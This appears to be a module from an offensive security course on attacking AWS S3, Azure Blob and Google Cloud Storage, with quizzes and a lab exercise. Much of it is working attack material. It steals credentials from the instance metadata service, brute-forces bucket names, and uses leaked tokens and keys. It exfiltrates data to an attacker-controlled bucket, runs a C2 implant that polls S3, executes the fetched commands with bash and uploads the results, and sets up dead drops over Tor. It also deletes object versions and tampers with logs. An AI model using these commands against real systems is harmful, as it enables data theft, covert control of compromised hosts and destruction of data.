Module 14 of 22 — The cloud is just someone else's computer. Own the storage, own the data.
🧠 The Core Truth
Cloud storage is not magic. It's HTTP endpoints serving blobs of data behind identity tokens. When you understand that S3, Azure Blob, and GCS are just REST APIs with different authentication headers, every "cloud attack" becomes a web attack with extra steps. The primitives are the same: enumerate, authenticate, authorize, exfiltrate.
Why this matters: Organizations dump petabytes of sensitive data into cloud buckets with misconfigured permissions. A single public-read ACL or overly permissive IAM policy is often the shortest path from "external recon" to "domain admin." Cloud storage is the new shadow IT — and it's full of shadows.
"Cloud storage is just someone else's computer."
Every file you "put in the cloud" lives on a hard drive in a data center you don't control. That means someone else's locks, someone else's admins, and someone else's bugs. The cloud doesn't make your data safer by default — it just moves the target to a bigger warehouse with more doors.
Red team: Treat cloud storage like any other remote file share. Enumerate endpoints, abuse credentials, and pivot through misconfigured permissions just as you would on-prem.
Blue team: You are still responsible for your data even when it lives on someone else's hardware. Audit permissions, enable logging, and assume the provider will not save you from your own mistakes.
🎯 Soldier Translation
Imagine a warehouse (cloud provider) where companies rent storage units (buckets). Each unit has a lock (IAM policy) and a list of who has keys (ACL). Most companies forget to check the lock. Some leave the door wide open. Your job is to walk the aisles, test the doors, and when you find one open — photograph everything inside before anyone notices.
The warehouse owner (AWS/Azure/GCP) doesn't care what's in the unit. They only enforce the lock. If the lock is wrong, it's the renter's fault.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Using cloud storage as a dead drop for C2 communications, command files, and exfiltrated data staging.
☁️ Cloud Storage Overview — The Three Kingdoms
Every major cloud provider offers object storage. The concepts are identical; only the names and authentication mechanisms differ. Master one, and you can pivot to the others in minutes.
AWS S3
Simple Storage Service
Buckets → Objects → Keys
Auth: IAM + SigV4
⇄
Azure Blob
Blob Storage
Accounts → Containers → Blobs
Auth: SAS + AAD
⇄
GCS
Cloud Storage
Buckets → Objects
Auth: IAM + HMAC
Why attackers love cloud storage
Cloud buckets are externally reachable, often misconfigured, and rarely monitored. A single bucket can contain backups, credentials, logs, and database dumps. Unlike on-premise file shares, cloud storage is accessible from anywhere on the internet — which means attackers can enumerate it from anywhere too.
Feature
AWS S3
Azure Blob
GCS
Top-level container
Bucket (global unique)
Storage Account (unique DNS)
Bucket (global unique)
Object identifier
Key (path-like string)
Blob name (path-like string)
Object name (path-like string)
Public access flag
Block Public Access (account/bucket)
Public access level (container)
AllUsers / AllAuthenticatedUsers
Presigned URL
Pre-signed URL (SigV4)
SAS Token
Signed URL (HMAC or IAM)
Policy language
Bucket Policy + IAM Policy
RBAC + SAS policies
Bucket IAM + ACL
Enumeration risk
High (predictable names, DNS)
Medium (storage account names)
High (predictable names)
🪣 AWS S3 — The Original Sin
S3 is the oldest and most attacked cloud storage service. Its simplicity is its strength and its weakness. A bucket is a flat namespace of objects, each identified by a key. But the devil is in the permissions.
S3 Architecture EASY
Every S3 bucket has a globally unique name and a DNS endpoint: https://bucket-name.s3.region.amazonaws.com. Objects are accessed via HTTP GET/PUT/DELETE with SigV4-signed headers or pre-signed URLs.
Virtual-hosted style leaks the bucket name in the Host header, which is logged by proxies and firewalls. Path-style puts the bucket in the URL path. Some WAFs and logging systems only capture the path, missing the bucket entirely. When bypassing filters, try both.
S3 Access Control: ACLs, Policies, and Blocks MEDIUM
S3 has three overlapping permission systems. Misunderstanding any one creates gaps.
# 1. BUCKET ACL (legacy, simple)
aws s3api get-bucket-acl --bucket target-bucket
# Dangerous grants:
Grantee: URI = "http://acs.amazonaws.com/groups/global/AllUsers"
Permission: READ # Anyone can list objects
Permission: WRITE # Anyone can upload/delete
# 2. BUCKET POLICY (JSON, powerful)
aws s3api get-bucket-policy --bucket target-bucket
# Dangerous pattern:
"Principal": "*"
"Effect": "Allow"
"Action": "s3:GetObject"
"Resource": "arn:aws:s3:::target-bucket/*"
# 3. BLOCK PUBLIC ACCESS (safety switch)
aws s3api get-public-access-block --bucket target-bucket
# If all BlockPublicAccess settings are FALSE,# bucket policy and ACL can expose data.
⚠️ Common Misconfiguration
Administrators set BlockPublicAccess = true at the account level, then disable it for a single bucket "temporarily" and forget to re-enable it. Or they add a bucket policy with "Principal": "*" thinking it only applies to internal users. "*" means the entire internet.
S3 IAM Privilege Escalation HARD
IAM policies attached to users, roles, or groups can grant S3 access. But overly permissive IAM policies are a privilege escalation path. If you compromise an EC2 instance with an instance profile, you inherit its IAM role.
# Enumerate current IAM permissions
aws iam list-attached-user-policies --user-name current-user
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/ExamplePolicy --version-id v1
# Check if you can assume roles
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/S3AdminRole --role-session-name pwn
# If the role has s3:*, you now own every bucket
aws s3 ls # List all buckets the role can access
aws s3 cp s3://target-bucket/secret.zip ./
# Instance metadata service (IMDSv1 is vulnerable)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Why instance profiles are dangerous
Every EC2 instance can have an IAM role attached (instance profile). If the instance is compromised via SSRF, RCE, or container escape, the attacker can query the metadata service for temporary AWS credentials. Those credentials are valid for every S3 bucket the role can access. One web app RCE → all company backups.
🔷 Azure Blob Storage — The Enterprise Choice
Azure Blob is the default storage for Microsoft-centric enterprises. It integrates with Entra ID (formerly Azure AD), making it both powerful and complex. Complexity breeds misconfiguration.
Azure Blob Architecture EASY
Azure Storage Accounts contain Containers, which contain Blobs. The storage account name is part of the DNS name: https://account-name.blob.core.windows.net. This makes storage accounts enumerable via DNS brute-forcing.
# Azure Blob URL format
https://account-name.blob.core.windows.net/container-name/blob-name
# List containers (requires auth)
az storage container list --account-name targetaccount --auth-mode login
# List blobs in a container
az storage blob list --container-name secrets --account-name targetaccount
# Download a blob
az storage blob download --container-name secrets --name backup.sql --file ./backup.sql --account-name targetaccount
SAS Tokens — Azure's Pre-signed URLs MEDIUM
Shared Access Signature (SAS) tokens are query-string parameters that grant temporary access to blobs. They are self-contained — no server-side validation beyond signature checking. If a SAS token leaks, anyone can use it until it expires.
# SAS token structure (decoded)
https://account.blob.core.windows.net/container/blob?
sv=2023-01-01 # Storage service version
&ss=b # Resource type (blob)
&srt=co # Resource types (container, object)
&sp=rwdl # Permissions (read, write, delete, list)
&se=2026-12-31T23:59:59Z # Expiry
&st=2026-01-01T00:00:00Z # Start time
&spr=https # Protocol
&sig=BASE64HMAC # Signature
# If you find a SAS token with sp=rwdlacupx (full permissions),# you have full control over the container.# Generate a SAS token (if you have account key)
az storage blob generate-sas --account-name target --container-name data --name file.txt --permissions r --expiry 2026-12-31
JavaScript frontends (embedded in client-side code)
Log files and error messages
Email and chat messages (Slack, Teams)
Azure Storage Enumeration MEDIUM
Storage account names are 3-24 lowercase alphanumeric characters. They are often predictable: company name + "storage", "data", "backup", "files", "assets".
# DNS brute-force for storage accounts
for name in $(cat wordlist.txt); do
host "${name}.blob.core.windows.net" >/dev/null && echo "FOUND: ${name}"
done
# Check public container listing
curl -s "https://account.blob.core.windows.net/container?restype=container&comp=list"
# If the container is public, you get XML with blob names# No authentication required.# Check blob properties (even if container is private)
curl -sI "https://account.blob.core.windows.net/container/secret.pdf"
# HTTP 404 = blob doesn't exist OR no access# HTTP 200 = blob exists and you have access# HTTP 403 = blob exists but you lack permission
Why 403 is information leakage
A 403 Forbidden confirms the blob exists. A 404 could mean "doesn't exist" OR "no access." By probing many blob names and observing 403 vs 404, you can enumerate existing files even without read access. This is a side-channel enumeration technique.
🔶 Google Cloud Storage — The Underdog
GCS is less targeted than S3 but equally dangerous when misconfigured. Google uses a unified IAM model, making permissions easier to understand but harder to audit.
GCS Architecture EASY
GCS buckets are global namespaces with a .storage.googleapis.com DNS suffix. Objects are accessed via HTTP with OAuth2 or HMAC authentication.
# GCS URL formats
https://storage.googleapis.com/bucket-name/object-name
https://bucket-name.storage.googleapis.com/object-name
# List buckets (requires auth)
gsutil ls
# List objects in a bucket
gsutil ls gs://target-bucket/
# Download an object
gsutil cp gs://target-bucket/secret.zip ./
# Check bucket IAM policy
gsutil iam get gs://target-bucket
GCS Misconfiguration Exploitation MEDIUM
GCS has two permission systems: IAM (fine-grained, recommended) and ACLs (legacy, coarse). Buckets can be set to allUsers (public) or allAuthenticatedUsers (any Google account).
# Check if a bucket is public
curl -s "https://storage.googleapis.com/target-bucket/" | grep "ListBucketResult"
# If public, you get XML listing of all objects# Check IAM policy
gsutil iam get gs://target-bucket
# Dangerous bindings:
{
"members": ["allUsers"],
"role": "roles/storage.objectViewer"
}
# This means ANYONE ON THE INTERNET can read all objects.# Even more dangerous:
{
"members": ["allUsers"],
"role": "roles/storage.objectAdmin"
}
# Anyone can read, write, and delete objects.
⚠️ The "allAuthenticatedUsers" Trap
allAuthenticatedUsers means any Google account — including a free Gmail account you create in 30 seconds. It does NOT mean "authenticated users of my organization." For that, use allUsers with domain restrictions or IAM conditions. This is the #1 GCS misconfiguration.
🔍 Bucket Enumeration — Finding the Needle
You can't exploit what you can't find. Bucket enumeration is the reconnaissance phase of cloud storage attacks. The goal is to discover bucket names, then test their permissions.
Wordlist-Based Enumeration EASY
Bucket names are often predictable. Companies use patterns like company-name-backup, company-name-data, company-name-assets. DNS resolution and HTTP probes reveal which exist.
# Generate permutations from a company name
for suffix in backup data assets files media static dev prod staging; do
echo "company-${suffix}"
echo "companyname-${suffix}"
echo "${suffix}-company"
done > bucket-wordlist.txt
# DNS resolution check (S3)
for bucket in $(cat bucket-wordlist.txt); do
host "${bucket}.s3.amazonaws.com" >/dev/null 2>&1 && echo "EXISTS: ${bucket}"
done
# HTTP probe for public listing (S3)
for bucket in $(cat bucket-wordlist.txt); do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${bucket}.s3.amazonaws.com/")
echo "${bucket}: ${code}"
done
# HTTP 200 = public listing enabled# HTTP 403 = bucket exists but no listing# HTTP 404 = bucket does not exist# HTTP 301 = bucket is in a different region
OSINT Enumeration MEDIUM
Buckets are referenced in source code, documentation, and error messages. Automated tools scrape these references.
Developers hardcode bucket names in JavaScript, mobile apps, and configuration files. A React frontend might reference https://cdn-company.s3.amazonaws.com/assets/logo.png. From that one URL, you know the bucket exists and can start probing for permissions. Mobile apps are especially leaky — they often contain hardcoded S3 credentials or SAS tokens.
Permission Testing MEDIUM
Once you find a bucket, test what you can do. The AWS CLI has a built-in permission test: aws s3api get-bucket-acl. But you can also test by attempting operations.
# Test read access (S3)
aws s3 ls s3://target-bucket/ 2>&1 | head -5
# Test write access
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://target-bucket/pwned-by-$(whoami).txt 2>&1
# If upload succeeds, you have WRITE access.# If you get AccessDenied, you don't.# Test delete access
aws s3 rm s3://target-bucket/pwned-by-$(whoami).txt 2>&1
# Test bucket policy read
aws s3api get-bucket-policy --bucket target-bucket 2>&1
# Test versioning (can recover deleted files)
aws s3api get-bucket-versioning --bucket target-bucket
⚠️ Legal Warning
Uploading a test file to someone else's bucket without authorization may violate the Computer Fraud and Abuse Act (CFAA) and similar laws. Use read-only probes where possible. If you must test write, document the test file and delete it immediately. Better yet, use a controlled lab environment.
Pre-signed URLs (S3), SAS tokens (Azure), and Signed URLs (GCS) grant temporary access without sharing long-term credentials. They are powerful for legitimate use and dangerous when leaked.
S3 Pre-signed URLs MEDIUM
An S3 pre-signed URL is a standard GET/PUT URL with query parameters containing a temporary signature. The signature is generated using the owner's AWS secret key. Anyone with the URL can access the object until the signature expires.
# Generate a pre-signed URL (as the owner)
aws s3 presign s3://my-bucket/secret.pdf --expires-in 3600
# Result:
https://my-bucket.s3.amazonaws.com/secret.pdf?
X-Amz-Algorithm=AWS4-HMAC-SHA256
&X-Amz-Credential=AKIA.../20260629/us-east-1/s3/aws4_request
&X-Amz-Date=20260629T000000Z
&X-Amz-Expires=3600
&X-Amz-SignedHeaders=host
&X-Amz-Signature=...
# The URL is self-contained. No auth headers needed.# Anyone with this URL can download secret.pdf for 1 hour.# If you find a leaked pre-signed URL, use it immediately:
curl -O "https://leaked-url..."
# Check if the URL is still valid (HEAD request)
curl -sI "https://leaked-url..."
# HTTP 200 = still valid# HTTP 403 = expired or invalid
Why pre-signed URLs are dangerous
The URL contains the Access Key ID (AKIA...) in the X-Amz-Credential parameter. Even if the URL expires, the Access Key ID is now known. If the corresponding secret key is also leaked (e.g., in the same GitHub repo), you have permanent credentials. Pre-signed URLs also bypass bucket-level BlockPublicAccess — they are generated by an authorized user and are therefore "legitimate" access.
Azure SAS Tokens MEDIUM
SAS tokens are Azure's equivalent of pre-signed URLs. They can grant access to a single blob, a container, or an entire storage account. Account-level SAS tokens are especially dangerous.
# Decode a SAS token to understand its permissions# Token: ?sv=2023-01-01&ss=b&srt=co&sp=rwdlacupx&se=...# sv = service version# ss = service (b=blob, f=file, q=queue, t=table)# srt = resource type (s=service, c=container, o=object)# sp = permissions:# r=read, w=write, d=delete, l=list, a=add, c=create, u=update, p=process, x=tags# se = expiry time# sip = allowed IP range# spr = protocol (https, http)# If sp=rwdlacupx, the token grants FULL CONTROL.# If ss=bfqt and srt=sco, the token applies to the ENTIRE storage account.# Use a leaked SAS token
curl -s "https://account.blob.core.windows.net/container/blob?sv=...&sig=..."
GCS Signed URLs MEDIUM
GCS supports two signing methods: HMAC (legacy, like S3) and IAM Service Account (modern). Signed URLs work like S3 pre-signed URLs but use OAuth2-style signatures.
# Generate a signed URL (requires service account key)
gsutil signurl -d 1h service-account-key.json gs://bucket/object
# Leaked service account keys are gold# A key file looks like:
{
"type": "service_account",
"project_id": "target-project",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----\n...",
"client_email": "svc@target-project.iam.gserviceaccount.com",
"client_id": "..."
}
# If you find this JSON, activate it:
gcloud auth activate-service-account --key-file=leaked-key.json
# Now you have all permissions of that service account
gsutil ls gs://target-bucket/
📤 Exfiltration Techniques — Getting Data Out
Cloud storage is the perfect exfiltration destination: high bandwidth, global reach, and legitimate-looking traffic. Attackers stage data in cloud buckets, then retrieve it from anywhere.
Direct Upload to Attacker-Controlled Bucket EASY
The simplest exfiltration: upload stolen data directly to a bucket you control. Use a pre-signed URL or temporary credentials to avoid exposing your long-term keys.
# Attacker creates a pre-signed PUT URL
aws s3 presign s3://attacker-exfil/stolen-data.zip --expires-in 86400
# Victim uploads directly to attacker's bucket
curl -X PUT -T /tmp/stolen-data.zip "https://attacker-exfil.s3.amazonaws.com/stolen-data.zip?X-Amz-..."
# No attacker infrastructure needed beyond the bucket.# The upload appears as legitimate S3 traffic.
Cloud Sync Client Abuse MEDIUM
OneDrive, Dropbox, Google Drive, and Box sync clients run on every corporate endpoint. If you control the sync folder, you control what gets uploaded to the cloud. This is especially powerful on shared workstations where multiple users sync to different accounts.
# Find sync folders
ls -la ~/OneDrive
ls -la ~/Dropbox
ls -la ~/Google\ Drive
ls -la ~/Box
# If you have write access to the sync folder,# drop files there and they auto-upload to the cloud.# On Windows, sync folders are often in %USERPROFILE%
dir "%USERPROFILE%\OneDrive"
dir "%USERPROFILE%\Dropbox"
# Inject into the sync client process to intercept files# See Module 10: Code Injection for techniques.
"If it syncs, it can exfiltrate."
Every sync client is a background uploader with trusted network access. If you can write to a sync folder or hijack the client process, you have a stealthy exfil channel that blends with normal user behavior. The cloud provider's domain is already allowed, the traffic is encrypted, and the user expects large file uploads.
Red team: Stage files in sync folders, inject into sync processes, or steal OAuth tokens to upload directly. The exfil looks like routine cloud activity.
Blue team: Monitor sync client file velocity, unexpected OAuth grants, and endpoints uploading files outside business hours. A syncing endpoint is a potential exfil endpoint.
Cloud storage APIs can be used as a covert channel for C2. Instead of direct HTTP callbacks, the implant reads commands from a cloud object and writes results to another. The traffic blends with legitimate cloud sync operations.
# C2 over S3: Command file# Attacker uploads commands to s3://c2-bucket/commands.txt# Implant polls every 60 seconds:
aws s3 cp s3://c2-bucket/commands.txt /tmp/commands.txt 2>/dev/null
if [ -s /tmp/commands.txt ]; then
bash /tmp/commands.txt > /tmp/results.txt 2>&1
aws s3 cp /tmp/results.txt s3://c2-bucket/results/$(hostname)-$(date +%s).txt
aws s3 rm s3://c2-bucket/commands.txt
fi
# The traffic is all HTTPS to s3.amazonaws.com.# No suspicious domains. No direct C2 server.# If the implant uses instance credentials, no hardcoded keys.
A dead drop is a hidden location where two parties can exchange items without meeting. In cyber operations, cloud storage buckets serve as perfect dead drops: accessible globally, hard to attribute, and easy to automate.
Basic Cloud Dead Drop EASY
The simplest dead drop: a public bucket with a known name. Both parties know the bucket name. One uploads, the other downloads. No direct communication. No IP logs linking the parties.
# Attacker creates a bucket with a random name
aws s3 mb s3://dd-7f3a9c2e1b4d-2026
# Makes it public for read/write
aws s3api put-bucket-acl --bucket dd-7f3a9c2e1b4d-2026 --acl public-read-write
# Shares the bucket name with the asset via secure channel# Asset uploads data:
aws s3 cp secret.doc s3://dd-7f3a9c2e1b4d-2026/ --acl public-read
# Attacker retrieves:
aws s3 cp s3://dd-7f3a9c2e1b4d-2026/secret.doc ./
# Both parties use Tor or VPN to access S3,# making attribution nearly impossible.
Advanced Dead Drop: Time-Based and One-Time HARD
Basic dead drops are vulnerable to enumeration and monitoring. Advanced techniques use time-based access, object lifecycle policies, and one-time URLs.
# Time-based dead drop: Object is only available for 1 hour
aws s3 presign s3://dd-bucket/drop.bin --expires-in 3600
# Share the URL. After 1 hour, the URL is useless.# One-time dead drop: Object deletes after first download# Use S3 Object Lambda or a Lambda trigger:# On GET, trigger Lambda to delete the object.# Lifecycle policy: Auto-delete after N days
aws s3api put-bucket-lifecycle-configuration --bucket dd-bucket --lifecycle-configuration file://lifecycle.json
# lifecycle.json:
{
"Rules": [{
"ID": "auto-delete",
"Status": "Enabled",
"Expiration": { "Days": 1 },
"Filter": { "Prefix": "drop-" }
}]
}
# Any object with prefix "drop-" is deleted after 1 day.
Mobile Dead Drops: Android Cloud Sync MEDIUM
Android apps frequently use cloud storage for backups, media, and configuration. If you control an Android device (see Module 18), you can use its cloud sync as a dead drop. The device's legitimate cloud traffic masks the exfiltration.
# On a compromised Android device:# Many apps sync to Google Drive, Dropbox, or OneDrive.# Find the sync folder
ls /sdcard/Android/data/*/files/
# If the app has cloud backup enabled,# drop files into its sync folder and trigger a sync.# Or use the app's own cloud API:# Extract the app's OAuth token from /data/data//shared_prefs/# Use the token to upload directly to the app's cloud storage.
🛡️ Misconfiguration Exploitation — The Gift That Keeps Giving
Cloud misconfigurations are not bugs; they are design flaws in human processes. The cloud is secure by default, but every "make it work" click weakens the model. This section covers the most common and most dangerous misconfigurations.
Public Bucket / Container EASY
The classic: a bucket set to public-read or public-read-write. Often created by a developer for testing and never secured. Sometimes created by a Terraform module with a default of public.
# S3: Check if a bucket is public
aws s3api get-bucket-acl --bucket target-bucket
# Look for Grantee URI containing "AllUsers"# Azure: Check container public access
az storage container show --name target-container --account-name target-account
# Look for "publicAccess": "blob" or "container"# GCS: Check bucket IAM
gsutil iam get gs://target-bucket
# Look for "allUsers" or "allAuthenticatedUsers"# Automated scanner: S3Scanner
python3 s3scanner.py target-bucket
# Reports: open, closed, or auth-required
Versioning Enabled + Deletion Not Enforced MEDIUM
S3 versioning keeps every version of every object. When an object is "deleted," a delete marker is added, but the old versions remain. If you have ListObjectVersions permission, you can recover "deleted" files.
# List all versions (including deleted)
aws s3api list-object-versions --bucket target-bucket --prefix sensitive/
# Recover a deleted file
aws s3api get-object --bucket target-bucket --key sensitive/deleted.txt --version-id abc123 ./recovered.txt
# If the bucket has MFA delete enabled, you can't delete versions.# But if MFA delete is NOT enabled, you can permanently delete:
aws s3api delete-object --bucket target-bucket --key sensitive/deleted.txt --version-id abc123
# Attack scenario: Ransomware deletes current versions,# but defender recovers from versions. If attacker also# deletes all versions, data is permanently lost.
Why versioning is a double-edged sword
Versioning protects against accidental deletion and ransomware. But it also means data you thought was deleted is still there. An attacker with read access can recover years of "deleted" files. An attacker with write access can permanently delete all versions, defeating the protection. The key is MFA Delete — without it, anyone with DeleteObject permission can destroy everything.
Logging Disabled or Misdirected MEDIUM
S3 access logs, CloudTrail, and Azure Storage Analytics can capture every request. But if logging is disabled — or worse, logged to the same bucket — attackers can read or delete their own tracks.
# Check if S3 access logging is enabled
aws s3api get-bucket-logging --bucket target-bucket
# If logging is enabled, check where logs go:# If TargetBucket is the SAME bucket, logs are in the same place as data.# An attacker with bucket access can read and delete logs.# Check CloudTrail for S3 events
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=PutObject
# If CloudTrail is not logging S3 data events,# object-level access (GET/PUT) is invisible.
"Cloud logs are forensics gold."
Cloud storage generates a log entry for almost every action: who accessed what, from where, when, and with which identity. When logging is enabled and protected, those logs reconstruct the entire attack. When logging is disabled or stored in the same bucket as the data, the attacker walks away with the evidence.
Red team: Check whether logging is enabled before you act. If logs exist, know where they go and whether you can tamper with them. Prefer techniques that use legitimate credentials so the logs look normal.
Blue team: Enable data-event logging, send logs to a separate immutable store, and alert on unusual read/write patterns. The logs you don't keep are the incidents you can't investigate.
CORS Misconfiguration HARD
Cross-Origin Resource Sharing (CORS) rules on buckets can allow arbitrary websites to read bucket contents via JavaScript. A misconfigured CORS policy is effectively a public-read for browser-based requests.
# Check S3 CORS configuration
aws s3api get-bucket-cors --bucket target-bucket
# Dangerous CORS config:*GETPUT*# With this config, any website can:# 1. Read bucket contents via AJAX GET# 2. Upload files via AJAX PUT# The browser enforces CORS, not the server.# Exploit from attacker.com:
fetch('https://target-bucket.s3.amazonaws.com/secret.txt')
.then(r => r.text())
.then(data => console.log(data));
🎓 Interactive Quizzes
Quiz 1: S3 Bucket Permissions
You discover an S3 bucket named acme-corp-backup. The bucket ACL shows a grant to AllUsers with READ permission. What can you do?
A. Download any object in the bucket without authentication
B. List all objects in the bucket without authentication
C. List all objects in the bucket, but downloading requires the exact object key
D. Nothing — READ permission only allows the bucket owner to read
Quiz 2: Pre-signed URLs
An S3 pre-signed URL is generated with --expires-in 3600. The URL contains the Access Key ID in the X-Amz-Credential parameter. Which statement is TRUE?
A. After the URL expires, the Access Key ID is no longer valid for any purpose
B. The Access Key ID remains valid; only the signature expires. If the secret key is also leaked, permanent access is possible.
C. Pre-signed URLs bypass all S3 bucket policies and ACLs
D. The URL can only be used from the IP address that generated it
Quiz 3: Cloud Dead Drops
You are designing a covert channel for a red team operation. The target environment has strict egress filtering that blocks all unknown domains but allows HTTPS to AWS, Azure, and Google APIs. Which technique is MOST appropriate?
A. Set up a custom C2 server on a VPS and use DNS tunneling
B. Use ICMP tunneling to a known-good IP address
C. Use S3 as a dead drop: the implant polls an S3 object for commands and uploads results to another object
You are conducting a penetration test for "Acme Corp." During OSINT, you find a JavaScript file on their website referencing https://acme-assets.s3.amazonaws.com/js/app.js. Your task is to enumerate the bucket, test permissions, and extract any sensitive data.
Verify the bucket exists and determine its region
Check if the bucket is publicly listable
If listing is denied, attempt to enumerate common object keys
Check for bucket policy, ACL, and versioning status
Search GitHub for references to the bucket or leaked credentials
If you find a pre-signed URL, determine its expiry and permissions
Document all findings with proof-of-concept commands
=== LAB METHODOLOGY ===
1. VERIFY BUCKET
curl -sI "https://acme-assets.s3.amazonaws.com/"
→ HTTP 200 = bucket exists in us-east-1
→ HTTP 301 = bucket is in a different region
→ HTTP 404 = bucket does not exist
2. TEST PUBLIC LISTING
curl -s "https://acme-assets.s3.amazonaws.com/"
→ XML listing = public (rare)
→ AccessDenied = exists but not public
3. ENUMERATE OBJECT KEYS
# Common prefixes
for key in config/ backup/ data/ secrets/ admin/ internal/; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://acme-assets.s3.amazonaws.com/${key}")
echo "${key}: ${code}"
done
# 403 = exists but no access
# 404 = probably doesn't exist
4. CHECK BUCKET POLICY & ACL
aws s3api get-bucket-policy --bucket acme-assets 2>&1
aws s3api get-bucket-acl --bucket acme-assets
aws s3api get-public-access-block --bucket acme-assets
5. CHECK VERSIONING
aws s3api get-bucket-versioning --bucket acme-assets
# If Enabled, list versions:
aws s3api list-object-versions --bucket acme-assets
6. GITHUB OSINT
site:github.com "acme-assets" "s3"
site:github.com "acme-assets" "aws_access_key_id"
7. DOCUMENT
Screenshot every command and output.
Note: Only perform write/delete tests in authorized environments.
🎯 Key Takeaways
Cloud storage is just HTTP: S3, Azure Blob, and GCS are REST APIs. Attack them like any web service.
Enumeration is everything: You can't exploit what you can't find. DNS brute-forcing, OSINT, and wordlists are your friends.
Misconfigurations are the norm: Public buckets, leaked SAS tokens, and overly permissive IAM policies are everywhere.
Pre-signed URLs are credential leaks: They contain Access Key IDs and can grant temporary access. Treat them like passwords.
Cloud is the perfect exfil channel: High bandwidth, global reach, and legitimate-looking traffic. S3 dead drops are nearly invisible.
Versioning is a time machine: Deleted files may still exist. Check for object versions before concluding a bucket is empty.
Cross-cloud skills transfer: Master S3 and you can pivot to Azure Blob and GCS in hours. The concepts are identical.